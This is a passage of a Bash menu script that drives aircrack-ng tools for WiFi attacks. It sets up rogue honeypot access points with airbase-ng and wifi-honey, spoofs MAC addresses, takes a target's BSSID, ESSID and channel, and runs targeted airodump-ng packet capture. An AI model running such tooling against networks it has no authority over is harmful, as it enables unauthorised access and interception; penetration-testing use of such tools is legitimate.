2254 | "autowpa2" | "AUTOWPA2" | "AutoWPA2" | "AutoWpa2" | "autoWPA2" | "autoWpa2")
2255 | menuAttacksWPA2WifiteAuto
2256 | ;;
2257 |
2258 | *)
2259 | menuAuto
2260 | ;;
2261 |
2262 | esac
2263 |
2264 | #restartProcesses
2265 |
2266 | menuMain
2267 |
2268 | }
2269 |
2270 |
2271 | menuAdvanced(){
2272 |
2273 | currentTask="menuAdvanced"
2274 | #lastMenuID="menuAdvanced"
2275 |
2276 | interface="None"
2277 |
2278 | banner
2279 | bannerStats
2280 |
2281 | echo ""
2282 | echo "SORRY I GOT LAZY AND NEVER CODED THIS MENU"
2283 | echo "WILL BE AVAILABLE SOOOOOOOOOON!"
2284 | echo ""
2285 | echo ""
2286 | echo "Advanced Menu"
2287 | echo ""
2288 | echo ""
2289 | echo "1) Monitor Mode Options"
2290 | echo ""
2291 | echo "2) Honeypot Mode and Attacks"
2292 | echo ""
2293 | echo ""
2294 | echo ""
2295 | echo ""
2296 | $green
2297 | echo "** TO RETURN TO PREVIOUS PAGE JUST PRESS ENTER **"
2298 | $white
2299 | echo ""
2300 | echo ""
2301 | echo ""
2302 | echo ""
2303 | echo "Select an option and press ENTER:"
2304 | echo ""
2305 | echo ""
2306 |
2307 | read getAdvancedOptionMain
2308 |
2309 | hotkeyInput="$getAdvancedOptionMain"
2310 |
2311 | loadMenuHotkeys "$hotkeyInput"
2312 |
2313 | case "$getAdvancedOptionMain" in
2314 |
2315 | "")
2316 | $currentTask
2317 | #menuMain
2318 | #menuAdvanced
2319 | ;;
2320 |
2321 | *)
2322 | $currentTask
2323 | #menuMain
2324 | #menuAdvanced
2325 | ;;
2326 |
2327 | esac
2328 |
2329 | #restartProcesses
2330 |
2331 | $currentTask
2332 |
2333 | }
2334 |
2335 |
2336 | menuExtras(){
2337 |
2338 | #currentTask="menuExtras"
2339 | #lastMenuID="menuExtras"
2340 |
2341 | banner
2342 | bannerStats
2343 |
2344 | echo "1) Backup All Sessions and Capture Files (Full Backup of all saved files to ZIP file)"
2345 | echo "2) Clean Capture Files (Removes all saved .cap, .xor, .ivs, .csv, and .netxml files)"
2346 | echo "3) Clean Session Files (Removes all saved WEP, WPS, WPA, WPA2 *.sessions files)"
2347 | echo ""
2348 | echo "4) Change Active Terminal (Switch between Gnome, Konsole, X-Term, and User Selected)"
2349 | echo ""
2350 | echo "5) Start NetworkManager 6) Stop NetworkManager"
2351 | echo "7) Enable wpa_supplicant 8) Disable wpa_supplicant"
2352 | echo "9) Start wpa_cli 10) Stop wpa_cli"
2353 | echo ""
2354 | echo "11) Open Interface Options Menu"
2355 | echo ""
2356 | echo "12) Hidden SSID Options"
2357 | echo ""
2358 | echo "R) Return To Previous Menu"
2359 | echo ""
2360 | echo ""
2361 | echo "Select an option from above and press ENTER:"
2362 | echo ""
2363 |
2364 | read getExtras
2365 |
2366 | hotkeyInput="$getExtras"
2367 |
2368 | loadMenuHotkeys "$hotkeyInput"
2369 |
2370 | case "$getExtras" in
2371 |
2372 | "")
2373 | menuExtras
2374 | ;;
2375 |
2376 | "1")
2377 | backupSessionFiles
2378 | ;;
2379 |
2380 | "2")
2381 | cleanCaptureFiles
2382 | ;;
2383 |
2384 | "3")
2385 | cleanSessionFiles
2386 | ;;
2387 |
2388 | "4")
2389 | menuChangeTerminal
2390 | ;;
2391 |
2392 | "5")
2393 | startNetworkManager
2394 | ;;
2395 |
2396 | "6")
2397 | killNetworkManager
2398 | ;;
2399 |
2400 | "7")
2401 | wpaSupplicantEnable
2402 | ;;
2403 |
2404 | "8")
2405 | wpaSupplicantDisable
2406 | ;;
2407 |
2408 | "9")
2409 | wpa_cli start
2410 | ;;
2411 |
2412 | "10")
2413 | wpa_cli terminate
2414 | ;;
2415 |
2416 | "11")
2417 | menuExtrasInterface
2418 | ;;
2419 |
2420 | "12")
2421 | banner
2422 | bannerStats
2423 |
2424 | echo "1) Bruteforce Hidden SSID"
2425 | echo ""
2426 | echo ""
2427 | echo ""
2428 | echo ""
2429 | echo ""
2430 | echo ""
2431 | echo ""
2432 | echo ""
2433 | echo ""
2434 | echo ""
2435 | echo ""
2436 | echo ""
2437 | echo ""
2438 | $cyan
2439 | echo "* Just Press ENTER To Return To Previous Menu *"
2440 | echo ""
2441 | echo ""
2442 | $white
2443 | echo "Select an option from above and press ENTER:"
2444 | echo ""
2445 |
2446 | read ssidHiddenOption
2447 |
2448 | case "$ssidHiddenOption" in
2449 |
2450 | "1")
2451 | bruteForceHiddenSSID
2452 | ;;
2453 |
2454 | esac
2455 | ;;
2456 |
2457 | "r" | "R")
2458 | $lastMenuID
2459 | ;;
2460 |
2461 | *)
2462 | menuExtras
2463 | ;;
2464 |
2465 | esac
2466 |
2467 | menuExtras
2468 |
2469 | }
2470 |
2471 | menuExtrasInterface(){
2472 |
2473 | currentTask="menuExtrasInterface"
2474 | #lastMenuID="menuExtrasInterface"
2475 |
2476 | banner
2477 | bannerStats
2478 |
2479 | echo ""
2480 |
2481 | echo "1) Enable Channel Hopping: $interface"
2482 | echo "2) Disable Channel Hopping: $interface"
2483 | echo ""
2484 | echo "3) Bring Up Interface: $interfaceMonitor"
2485 | echo "4) Bring Down Interface: $interfaceMonitor"
2486 | echo ""
2487 | echo "5) Switch Interface To Managed"
2488 | echo "6) Switch Interface To Monitor"
2489 | echo ""
2490 | echo "7) Fix Airmon Conflicting Processes"
2491 | echo ""
2492 | echo "8) Get \"ifconfig\" Output"
2493 | echo "9) Get \"iwconfig\" Output"
2494 | echo ""
2495 | echo "R) Return To Previous Menu"
2496 | echo ""
2497 | echo ""
2498 | echo "Select an option from above and press ENTER:"
2499 | echo ""
2500 | #echo ""
2501 |
2502 | read getExtrasInterface
2503 |
2504 | hotkeyInput="$getExtrasInterface"
2505 |
2506 | loadMenuHotkeys "$hotkeyInput"
2507 |
2508 | case "$getExtrasInterface" in
2509 |
2510 | "")
2511 | menuInterface
2512 | ;;
2513 |
2514 | "1")
2515 | enableChannelHopping
2516 | ;;
2517 |
2518 | "2")
2519 | disableChannelHopping
2520 | ;;
2521 |
2522 | "3")
2523 | interfaceUp
2524 | ;;
2525 |
2526 | "4")
2527 | interfaceDown
2528 | ;;
2529 |
2530 | "5")
2531 | interfaceManaged
2532 | ;;
2533 |
2534 | "6")
2535 | interfaceMonitor
2536 | ;;
2537 |
2538 | "7")
2539 | fixAirmonCompat
2540 | ;;
2541 |
2542 | "8")
2543 | showIfConfig=$(ifconfig)
2544 | banner
2545 | bannerStats
2546 | echo ""
2547 | echo "$showIfConfig"
2548 | echo ""
2549 | echo ""
2550 | echo ""
2551 | echo "Press ENTER to continue..."
2552 | echo ""
2553 | echo ""
2554 | read pause
2555 | ;;
2556 |
2557 | "9")
2558 | showIwConfig=$(iwconfig)
2559 | banner
2560 | bannerStats
2561 | echo ""
2562 | echo "$showIwConfig"
2563 | echo ""
2564 | echo ""
2565 | echo ""
2566 | echo "Press ENTER to continue..."
2567 | echo ""
2568 | echo ""
2569 | read pause
2570 | ;;
2571 |
2572 | "r" | "R")
2573 | #$lastMenuID
2574 | menuExtras
2575 | ;;
2576 |
2577 | *)
2578 | menuExtrasInterface
2579 | ;;
2580 |
2581 | esac
2582 |
2583 | menuExtrasInterface
2584 |
2585 | }
2586 |
2587 |
2588 | menuHelp(){
2589 |
2590 | currentTask="menuHelp"
2591 | #lastMenuID="menuHelp"
2592 |
2593 | banner
2594 | bannerStats
2595 |
2596 | echo ""
2597 | echo "*******************************************"
2598 | echo "CURENTLY NOT WORKING!!!"
2599 | echo ""
2600 | echo "PRESS ENTER TO RETURN TO PREVIOUS MENU!"
2601 | echo "*******************************************"
2602 | echo ""
2603 | echo ""
2604 | echo ""
2605 | echo "Welcome to the Help Section!"
2606 | echo ""
2607 | echo ""
2608 | echo ""
2609 | echo "CURRENTLY NOT AVAILABLE!"
2610 | echo ""
2611 | echo ""
2612 | echo ""
2613 | echo ""
2614 | echo ""
2615 |
2616 | read getHelp
2617 |
2618 | hotkeyInput="$getHelp"
2619 |
2620 | loadMenuHotkeys "$hotkeyInput"
2621 |
2622 | case "$getHelp" in
2623 |
2624 | "")
2625 | $lastMenuID
2626 | #menuMain
2627 | #menuHelp
2628 | ;;
2629 |
2630 | *)
2631 | $lastMenuID
2632 | #menuMain
2633 | #menuHelp
2634 | ;;
2635 |
2636 | esac
2637 |
2638 | $lastMenuID
2639 |
2640 | }
2641 |
2642 |
2643 | menuChangeTerminal(){
2644 |
2645 | currentTask="menuChangeTerminal"
2646 | #lastMenuID="menuChangeTerminal"
2647 |
2648 | banner
2649 |
2650 |
2651 | echo ""
2652 | echo "Select a new terminal to use"
2653 | echo ""
2654 | echo ""
2655 | echo "Current Terminal: $terminal"
2656 | echo ""
2657 | echo ""
2658 | echo "1a) Gnome Legacy: $terminalGnomeLegacy"
2659 | echo ""
2660 | echo "1b) Gnome: $terminalGnome"
2661 | echo ""
2662 | echo "2) Konsole: $terminalKonsole"
2663 | echo ""
2664 | echo "3) X-Term: $terminalXterm"
2665 | echo ""
2666 | echo "4) Custom (User Selected)"
2667 | echo ""
2668 | echo "5) Return To Previous Menu"
2669 | echo ""
2670 | echo ""
2671 |
2672 | read getTerminalType
2673 |
2674 | hotkeyInput="$getTerminalType"
2675 |
2676 | loadMenuHotkeys "$hotkeyInput"
2677 |
2678 | case "$getTerminalType" in
2679 |
2680 | "")
2681 | menuChangeTerminal
2682 | ;;
2683 |
2684 | "1a")
2685 | terminal="$terminalGnomeLegacy"
2686 | terminalText="GnomeLegacy"
2687 | ;;
2688 |
2689 | "1b")
2690 | terminal="$terminalGnome"
2691 | terminalText="Gnome"
2692 | ;;
2693 |
2694 | "2")
2695 | terminal="$terminalKonsole"
2696 | terminalText="Konsole"
2697 | ;;
2698 |
2699 | "3")
2700 | terminal="$terminalXterm"
2701 | terminalText="Xterm"
2702 | ;;
2703 |
2704 | "4")
2705 | banner
2706 | echo ""
2707 | echo "Input a terminal string with arguments and press ENTER:"
2708 | echo ""
2709 | echo ""
2710 | echo "Example: $terminalGnome"
2711 | echo ""
2712 | echo ""
2713 |
2714 | read newTerminal
2715 |
2716 | case "$newTerminal" in
2717 |
2718 | *)
2719 | terminal="$newTerminal"
2720 | terminalText="Custom"
2721 | ;;
2722 |
2723 | esac
2724 |
2725 | ;;
2726 |
2727 | "5")
2728 | menuExtras
2729 | ;;
2730 |
2731 | *)
2732 | menuChangeTerminal
2733 | ;;
2734 |
2735 | esac
2736 |
2737 | menuMain
2738 |
2739 | }
2740 |
2741 |
2742 | menuHoneyPotMode(){
2743 |
2744 | currentTask="menuHoneyPotMode"
2745 |
2746 | initMonitorMode
2747 |
2748 | banner
2749 | bannerStats
2750 |
2751 | echo ""
2752 | echo "I Am HoneyPot Mode"
2753 | echo ""
2754 | echo "I Am Also Broken :("
2755 | echo ""
2756 | echo ""
2757 | echo ""
2758 | echo "1) Use Airbase-ng"
2759 | echo ""
2760 | echo "2) Use Wifi-Honey"
2761 | echo ""
2762 | echo "3) Use a Custom Binary"
2763 | echo ""
2764 | echo ""
2765 | echo ""
2766 | echo "Select an option and press ENTER:"
2767 | echo ""
2768 | echo ""
2769 |
2770 | read getHoneyPotOptionMain
2771 |
2772 | hotkeyInput="$getHoneyPotOptionMain"
2773 |
2774 | loadMenuHotkeys "$hotkeyInput"
2775 |
2776 | case "$getHoneyPotOptionMain" in
2777 |
2778 | "")
2779 | menuHoneyPotMode
2780 | #$lastMenuID
2781 | #menuMain
2782 | #menuAdvanced
2783 | ;;
2784 |
2785 | "1")
2786 | getBSSID
2787 | $terminal airbase-ng -a $bssid -i $interfaceMonitor -h $macAddressMonitor -v &
2788 | ;;
2789 |
2790 | "2")
2791 | getESSID
2792 | getChannel
2793 | $terminal wifi-honey $essid $channel $interfaceMonitor &
2794 | ;;
2795 |
2796 | "3")
2797 | echo "Custom Binary"
2798 | read pause
2799 | menuHoneyPotMode
2800 | ;;
2801 |
2802 | *)
2803 | menuHoneyPotMode
2804 | #$lastMenuID
2805 | #menuMain
2806 | #menuAdvanced
2807 | ;;
2808 |
2809 | esac
2810 |
2811 | #restartProcesses
2812 |
2813 | menuHoneyPotMode
2814 | #$lastMenuID
2815 |
2816 | }
2817 |
2818 |
2819 | selectFromApList(){
2820 |
2821 | # Get AP Credential Type From 1st Argument
2822 | apListType="$1"
2823 |
2824 | currentTask="selectFromApList"
2825 |
2826 | echo "Dumping Found AP Targets From airodump-ng Window...."
2827 | echo ""
2828 | echo ""
2829 |
2830 | case "$apListType" in
2831 |
2832 | "essid")
2833 | sleep 15
2834 | cat "$defaultScanOutputXML" | grep ""
2840 | ;;
2841 |
2842 | "channel")
2843 | sleep 15
2844 | cat "$defaultScanOutputXML" | grep ""
2845 | ;;
2846 |
2847 | esac
2848 |
2849 | echo ""
2850 | echo ""
2851 | $yellow
2852 | echo "Select $apListType from found AP targets above and copy to clipboard (CTRL+SHIFT+C)"
2853 | echo ""
2854 | echo ""
2855 | $white
2856 | echo "You may also follow the instructions below to select a target"
2857 | echo ""
2858 | echo ""
2859 |
2860 | #read getApTarget
2861 |
2862 | }
2863 |
2864 |
2865 | ############################################################################
2866 | # MENUS: MAIN END ######################################################
2867 | ############################################################################
2868 |
2869 |
2870 |
2871 |
2872 |
2873 | ############################################################################
2874 | # MENUS: SESSIONS BEGIN ################################################
2875 | ############################################################################
2876 |
2877 |
2878 | menuSessionSave(){
2879 |
2880 | # Not needed for this menu
2881 | #currentTask="menuSessionSave"
2882 | #lastMenuID="menuSessionSave"
2883 |
2884 | banner
2885 | bannerStats
2886 |
2887 | echo "Session Save Menu"
2888 | echo ""
2889 | echo ""
2890 | echo ""
2891 | echo ""
2892 | echo ""
2893 | echo "Save As: $capturePath/$encryptionType/$encryptionType.sessions"
2894 | echo ""
2895 | echo ""
2896 | echo ""
2897 | echo "Press \"1\" and ENTER to save session file now"
2898 | echo ""
2899 | echo ""
2900 | echo "You may also just press ENTER to return to the previous menu...."
2901 | echo ""
2902 | echo ""
2903 |
2904 | getSession="1"
2905 | #read getSession
2906 |
2907 | hotkeyInput="$getSession"
2908 |
2909 | loadMenuHotkeys "$hotkeyInput"
2910 |
2911 | case "$getSession" in
2912 |
2913 | "")
2914 | $currentTask
2915 | ;;
2916 |
2917 | "1")
2918 | sessionSave
2919 | ;;
2920 |
2921 | *)
2922 | $currentTask
2923 | ;;
2924 |
2925 | esac
2926 |
2927 | $currentTask
2928 |
2929 | }
2930 |
2931 |
2932 | menuSessionLoad(){
2933 |
2934 | # Not needed for this menu
2935 | #currentTask="menuSessionLoad"
2936 | #lastMenuID="menuSessionLoad"
2937 |
2938 | banner
2939 | bannerStats
2940 |
2941 | echo "Session Load Menu"
2942 | echo ""
2943 | echo ""
2944 | echo ""
2945 | echo ""
2946 | echo ""
2947 | echo "Current File Loaded: $capturePath/$encryptionType/$encryptionType.sessions"
2948 | echo ""
2949 | echo ""
2950 | echo ""
2951 | echo "Press \"1\" and ENTER to load session file now"
2952 | echo ""
2953 | echo ""
2954 | echo "You may also just press ENTER to return to the previous menu...."
2955 | echo ""
2956 | echo ""
2957 |
2958 | getSession="1"
2959 | #read getSession
2960 |
2961 | hotkeyInput="$getSession"
2962 |
2963 | loadMenuHotkeys "$hotkeyInput"
2964 |
2965 | case "$getSession" in
2966 |
2967 | "")
2968 | $currentTask
2969 | ;;
2970 |
2971 | "1")
2972 | sessionLoad
2973 | ;;
2974 |
2975 | *)
2976 | $currentTask
2977 | ;;
2978 |
2979 | esac
2980 |
2981 | $currentTask
2982 |
2983 | }
2984 |
2985 |
2986 | ############################################################################
2987 | # MENUS: SESSIONS END ##################################################
2988 | ############################################################################
2989 |
2990 |
2991 |
2992 |
2993 |
2994 | ############################################################################
2995 | # GET CREDENTIALS BEGIN ################################################
2996 | ############################################################################
2997 |
2998 |
2999 | textGetTargetInfo(){
3000 |
3001 | currentTask="textGetTargetInfo"
3002 |
3003 | echo ""
3004 | echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN, ONLY SHOWING $encryptionTypeText TARGETS"
3005 | echo ""
3006 | echo "YOU CAN USE THIS AIRODUMP-NG WINDOW TO GATHER ALL NEEDED INFORMATION"
3007 | echo ""
3008 | echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
3009 | echo ""
3010 | #echo "YOU MAY NEED TO EXTEND THE WINDOW WIDER TO SEE THE ESSID NAMES"
3011 | echo "YOU MAY PRESS \"T\" AT ANYTIME TO OPEN A TEXT VIEW OF AVAILABLE TARGETS"
3012 | echo ""
3013 | echo ""
3014 |
3015 | case "$encryptionTypeText" in
3016 |
3017 | "WPS")
3018 | $green
3019 | echo "WPS TARGETS MAY HAVE \"1.0, 1.0 LAB, DISP, KPAD\" OR ANOTHER VARIANT UNDER \"WPS\" COLUMN"
3020 | echo ""
3021 | echo "ALL TARGETS THAT SUPPORT WPS MAY ALSO HAVE \"OPN\", \"WEP\", \"WPA\", or \"WPA2\" UNDER \"ENC\" COLUMN"
3022 | $white
3023 | echo ""
3024 | echo ""
3025 | ;;
3026 |
3027 | "WEP")
3028 | $green
3029 | echo "WEP TARGETS MAY HAVE \"WEP\" UNDER THE \"ENC\" and \"CIPHER\" COLUMNS"
3030 | #echo "CURRENTLY SET TO ONLY SCAN FOR \"WEP\" TARGETS"
3031 | $white
3032 | echo ""
3033 | echo ""
3034 | ;;
3035 |
3036 | "WPA")
3037 | $green
3038 | echo "WPA TARGETS MAY HAVE \"WPA\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS"
3039 | $white
3040 | echo ""
3041 | echo ""
3042 | ;;
3043 |
3044 | "WPA2")
3045 | $green
3046 | echo "WPA2 TARGETS MAY HAVE \"WPA2\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS"
3047 | $white
3048 | echo ""
3049 | echo ""
3050 | ;;
3051 |
3052 | esac
3053 |
3054 | }
3055 |
3056 |
3057 | getESSID(){
3058 |
3059 | currentTask="getESSID"
3060 |
3061 | banner
3062 | bannerStats
3063 |
3064 | #selectFromApList essid
3065 |
3066 | textGetTargetInfo
3067 |
3068 | echo "PASTE or type the Target ESSID Here and press ENTER:"
3069 | echo ""
3070 | echo "Example: NETGEAR"
3071 | echo ""
3072 | echo ""
3073 |
3074 | $cyan
3075 | read getESSIDTemp
3076 |
3077 | hotkeyInput="$getESSIDTemp"
3078 |
3079 | loadMenuHotkeys "$hotkeyInput"
3080 |
3081 | case "$getESSIDTemp" in
3082 |
3083 | "")
3084 | getESSID
3085 | ;;
3086 |
3087 | "t" | "T")
3088 | cleanTempScanResultsFile "txt"
3089 | openScanTargetsAsText
3090 | getESSID
3091 | ;;
3092 |
3093 | *)
3094 | essid="$getESSIDTemp"
3095 | ;;
3096 |
3097 | esac
3098 |
3099 | $white
3100 | }
3101 |
3102 |
3103 | getBSSID(){
3104 |
3105 | currentTask="getBSSID"
3106 |
3107 | banner
3108 | bannerStats
3109 |
3110 | #selectFromApList bssid
3111 |
3112 | textGetTargetInfo
3113 |
3114 | echo "PASTE or type the Target BSSID Here and press ENTER:"
3115 | echo ""
3116 | echo "Example: 00:11:22:33:44:55"
3117 | echo ""
3118 | echo ""
3119 |
3120 | $cyan
3121 | read getBSSIDTemp
3122 |
3123 | hotkeyInput="$getBSSIDTemp"
3124 |
3125 | loadMenuHotkeys "$hotkeyInput"
3126 |
3127 | case "$getBSSIDTemp" in
3128 |
3129 | "")
3130 | getBSSID
3131 | ;;
3132 |
3133 | "t" | "T")
3134 | cleanTempScanResultsFile "txt"
3135 | openScanTargetsAsText
3136 | getBSSID
3137 | ;;
3138 |
3139 | *)
3140 | bssid="$getBSSIDTemp"
3141 | ;;
3142 |
3143 | esac
3144 |
3145 | $white
3146 | }
3147 |
3148 |
3149 | getChannel(){
3150 |
3151 | currentTask="getChannel"
3152 |
3153 | banner
3154 | bannerStats
3155 |
3156 | #selectFromApList channel
3157 |
3158 | textGetTargetInfo
3159 |
3160 | echo "PASTE or type the Target Channel Here and press ENTER:"
3161 | echo ""
3162 | echo "Example: 6"
3163 | echo ""
3164 | echo ""
3165 |
3166 | $cyan
3167 | read getChannelTemp
3168 |
3169 | hotkeyInput="$getChannelTemp"
3170 |
3171 | loadMenuHotkeys "$hotkeyInput"
3172 |
3173 | case "$getChannelTemp" in
3174 |
3175 | "")
3176 | getChannel
3177 | ;;
3178 |
3179 | "t" | "T")
3180 | cleanTempScanResultsFile "txt"
3181 | openScanTargetsAsText
3182 | getChannel
3183 | ;;
3184 |
3185 | *)
3186 | channel="$getChannelTemp"
3187 | ;;
3188 |
3189 | esac
3190 |
3191 | $white
3192 | }
3193 |
3194 |
3195 | ############################################################################
3196 | # GET CREDENTIALS END ##################################################
3197 | ############################################################################
3198 |
3199 |
3200 |
3201 |
3202 |
3203 | ############################################################################
3204 | # MAC ADDRESS STUFF BEGIN ##############################################
3205 | ############################################################################
3206 |
3207 |
3208 | getMacAddress(){
3209 |
3210 | currentTask="getMacAddress"
3211 |
3212 | macAddress=$(ip link show $interface | tail -n 1 | cut -f 6 -d " ")
3213 |
3214 | }
3215 |
3216 |
3217 | getMacAddressMonitor(){
3218 |
3219 | currentTask="getMacAddressMonitor"
3220 |
3221 | macAddressMonitor=$(ip link show $interfaceMonitor | tail -n 1 | cut -f 6 -d " ")
3222 |
3223 | case "$isDebugMode" in
3224 | "1")
3225 | echo "interface: $interfaceMonitor"
3226 | echo "mac: $macAddressMonitor"
3227 | read pause
3228 | ;;
3229 | esac
3230 |
3231 | }
3232 |
3233 |
3234 | setMacAddress(){
3235 |
3236 | currentTask="setMacAddress"
3237 |
3238 | ifconfig $interface down
3239 | macchanger -m $getNewMacAdressTemp $interface
3240 | ifconfig $interface up
3241 |
3242 | spoofStatus="1"
3243 |
3244 | macAddress="$getNewMacAdressTemp"
3245 |
3246 | }
3247 |
3248 |
3249 | setMacAddressMonitor(){
3250 |
3251 | currentTask="setMacAddressMonitor"
3252 |
3253 | ifconfig $interfaceMonitor down
3254 | macchanger -m $getNewMacAdressTemp $interfaceMonitor
3255 | ifconfig $interfaceMonitor up
3256 |
3257 | spoofStatus="1"
3258 |
3259 | macAddressMonitor="$getNewMacAdressTemp"
3260 |
3261 | }
3262 |
3263 |
3264 | getRandomMacAddress(){
3265 |
3266 | currentTask="getRandomMacAddress"
3267 |
3268 | ifconfig $interface down
3269 | macchanger -r $interface
3270 | ifconfig $interface up
3271 |
3272 | spoofStatus="1"
3273 |
3274 | getMacAddress
3275 |
3276 | #macAddress="$getNewMacAdressTemp"
3277 |
3278 | }
3279 |
3280 |
3281 | getRandomMacAddressMonitor(){
3282 |
3283 | currentTask="getRandomMacAddressMonitor"
3284 |
3285 | ifconfig $interfaceMonitor down
3286 | macchanger -r $interfaceMonitor
3287 | ifconfig $interfaceMonitor up
3288 |
3289 | spoofStatus="1"
3290 |
3291 | getMacAddressMonitor
3292 |
3293 | #macAddressMonitor="$getNewMacAdressTemp"
3294 |
3295 | }
3296 |
3297 |
3298 | spoofMacAddress(){
3299 |
3300 | currentTask="spoofMacAddress"
3301 | #lastMenuID="spoofMacAddress"
3302 |
3303 | # Setting resetSpoofStatus Flag for global hotkey compatibility
3304 | resetSpoofStatus="1"
3305 |
3306 | banner
3307 | bannerStats
3308 |
3309 | echo ""
3310 | echo "To choose a random MAC Address, press the \"R\" key and press ENTER"
3311 | echo ""
3312 | echo ""
3313 | echo "Enter the New MAC Address and press ENTER:"
3314 | echo ""
3315 | echo "Example: 00:11:22:33:44:55"
3316 | echo ""
3317 | echo ""
3318 |
3319 | read getNewMacAdressTemp
3320 |
3321 | hotkeyInput="$getNewMacAdressTemp"
3322 |
3323 | loadMenuHotkeys "$hotkeyInput"
3324 |
3325 | case "$getNewMacAdressTemp" in
3326 |
3327 | "")
3328 | spoofMacAddress
3329 | ;;
3330 |
3331 | "R" | "r")
3332 | getRandomMacAddress
3333 | getRandomMacAddressMonitor
3334 | #$returnTo
3335 | ;;
3336 |
3337 | *)
3338 | setMacAddress
3339 | setMacAddressMonitor
3340 | #$returnTo
3341 | ;;
3342 |
3343 | esac
3344 |
3345 | }
3346 |
3347 |
3348 | checkSpoofStatus(){
3349 |
3350 | case "$spoofStatus" in
3351 |
3352 | "0")
3353 | #blank=""
3354 | initMonitorMode
3355 | ;;
3356 |
3357 | esac
3358 |
3359 | }
3360 |
3361 |
3362 | ############################################################################
3363 | # MAC ADDRESS STUFF END ################################################
3364 | ############################################################################
3365 |
3366 |
3367 |
3368 |
3369 |
3370 | ############################################################################
3371 | # MONITOR MODE STUFF BEGIN #############################################
3372 | ############################################################################
3373 |
3374 |
3375 | initMonitorMode(){
3376 |
3377 | currentTask="initMonitorMode"
3378 |
3379 | #killProcesses
3380 | stopMonitorMode
3381 |
3382 | disableChannelHopping
3383 | enableChannelHopping
3384 |
3385 | getWirelessInterfaces
3386 |
3387 | banner
3388 |
3389 | initMon=""
3390 |
3391 | case "$initMon" in
3392 |
3393 | "")
3394 | getMacAddress
3395 | setMonitorMode
3396 | getMacAddressMonitor
3397 | #getWirelessInterfaces "refresh"
3398 | ;;
3399 |
3400 | *)
3401 | getMacAddress
3402 | setMonitorMode
3403 | getMacAddressMonitor
3404 | #getWirelessInterfaces
3405 | ;;
3406 |
3407 | esac
3408 |
3409 | }
3410 |
3411 |
3412 | setMonitorMode(){
3413 |
3414 | currentTask="setMonitorMode"
3415 |
3416 | #interfaceMonitor="mon0"
3417 | #echo "$interface"
3418 | #read pause
3419 | $startMonitorMode $interface
3420 |
3421 | }
3422 |
3423 |
3424 | stopMonitorMode(){
3425 |
3426 | currentTask="stopMonitorMode"
3427 |
3428 | killMsg="Killing all active previous monitor mode interfaces...."
3429 |
3430 | # Older style airmon-ng
3431 | killMonA="mon"
3432 |
3433 | # Newer 1.2+ style airmon-ng
3434 | killMonB1="wlan"
3435 | killMonB2="mon"
3436 |
3437 | killCounter="0"
3438 |
3439 | # I just selected 12 as a number that I feel nobody would have more wifi adapters than
3440 | #killCounterMax="12"
3441 |
3442 | # Using number of found adapters to determine max
3443 | killCounterMax="$interfacesFound"
3444 |
3445 | # Initial mon0 or wlan0mon before loop
3446 | case "$killCounter" in
3447 |
3448 | "0")
3449 | banner
3450 | $white
3451 | echo ""
3452 | echo $killMsg
3453 | $red
3454 | $stopMonitorMode $killMonA$killCounter
3455 | $stopMonitorMode $killMonB1$killCounter$killMonB2
3456 | ;;
3457 |
3458 | esac
3459 |
3460 | while [ $killCounter -le $killCounterMax ]
3461 |
3462 | do
3463 | banner
3464 | $white
3465 | echo ""
3466 | echo $killMsg
3467 | $red
3468 | $stopMonitorMode $killMonA$killCounter
3469 | $stopMonitorMode $killMonB1$killCounter$killMonB2
3470 |
3471 | killCounter=$(($killCounter+1))
3472 | done
3473 |
3474 | banner
3475 | $white
3476 |
3477 | }
3478 |
3479 |
3480 | ############################################################################
3481 | # MONITOR MODE STUFF END ###############################################
3482 | ############################################################################
3483 |
3484 |
3485 |
3486 |
3487 |
3488 | ############################################################################
3489 | # ATTACKS: GLOBAL BEGIN ################################################
3490 | ############################################################################
3491 |
3492 |
3493 | autoModeUsePreviousSession(){
3494 |
3495 | currentTask="autoModeUsePreviousSession"
3496 |
3497 | sessionCopyNewCaptureFiles
3498 |
3499 | case "$encryptionType" in
3500 |
3501 | "wep")
3502 | autoModeUsePreviousSessionWEP
3503 | ;;
3504 |
3505 | "wps")
3506 | autoModeUsePreviousSessionWPS
3507 | ;;
3508 |
3509 | "wpa")
3510 | autoModeUsePreviousSessionWPA
3511 | ;;
3512 |
3513 | "wpa2")
3514 | autoModeUsePreviousSessionWPA2
3515 | ;;
3516 |
3517 | esac
3518 |
3519 | }
3520 |
3521 |
3522 | autoModeNoPreviousSession(){
3523 |
3524 | currentTask="autoModeNoPreviousSession"
3525 |
3526 | case "$encryptionType" in
3527 |
3528 | "wep")
3529 | autoModeNoPreviousSessionWEP
3530 | ;;
3531 |
3532 | "wps")
3533 | autoModeNoPreviousSessionWPS
3534 | ;;
3535 |
3536 | "wpa")
3537 | autoModeNoPreviousSessionWPA
3538 | ;;
3539 |
3540 | "wpa2")
3541 | autoModeNoPreviousSessionWPA2
3542 | ;;
3543 |
3544 | esac
3545 |
3546 | }
3547 |
3548 |
3549 | adFileDump(){
3550 |
3551 | noChannel="$1"
3552 |
3553 | #echo "$noChannel"
3554 | #read pause
3555 |
3556 | currentTask="adFileDump"
3557 |
3558 | echo ""
3559 | echo ""
3560 |
3561 | case "$encryptionType" in
3562 |
3563 | "wep")
3564 |
3565 | disableChannelHopping
3566 |
3567 | case "$noChannel" in
3568 |
3569 | "0")
3570 | $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"
3571 | #$terminal airodump-ng -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
3572 | #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
3573 | #read pause
3574 |
3575 | #Working (uses session path)
3576 | #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
3577 | ;;
3578 |
3579 | "1")
3580 | $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid"
3581 |
3582 | #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
3583 | #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
3584 | #read pause
3585 |
3586 | #Working (uses session path)
3587 | #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &
